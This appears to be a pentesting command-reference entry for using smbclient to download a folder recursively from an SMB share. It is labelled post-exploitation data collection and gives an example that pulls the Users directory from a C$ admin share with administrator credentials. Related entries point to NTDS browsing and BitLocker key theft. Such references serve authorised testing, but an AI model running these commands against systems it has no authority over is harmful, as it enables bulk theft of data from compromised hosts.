SMBClient Recursive Download
Download folder recursively from SMB share
- Tool
- smbclient
- Category
- Post-Exploitation / Data Collection
- Platform
- linux
- Requires
- password
- Protocols
- SMB
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
smbclient //<ip>/<share> -U "<user>%<password>" -c "cd <path>; prompt; recurse; mget *"
Examples
smbclient //192.168.1.100/C$ -U "administrator%password" -c "cd Users; prompt; recurse; mget *"
Tags
Related commands
- Impacket NTFS-Read (Offline NTDS Browse) Browse a raw NTFS image (e.g. a VSS shadow copy of C:\Windows\NTDS) offline as if it…
- NetExec RDP Screenshot Capture a screenshot of the current RDP login screen / desktop without authenticating…
- NetExec SMB BitLocker Recovery Keys Retrieve BitLocker recovery keys stored in Active Directory
- NetExec WMI bitlocker Module Pull BitLocker recovery keys from a host over WMI. Faster than the SMB equivalent in…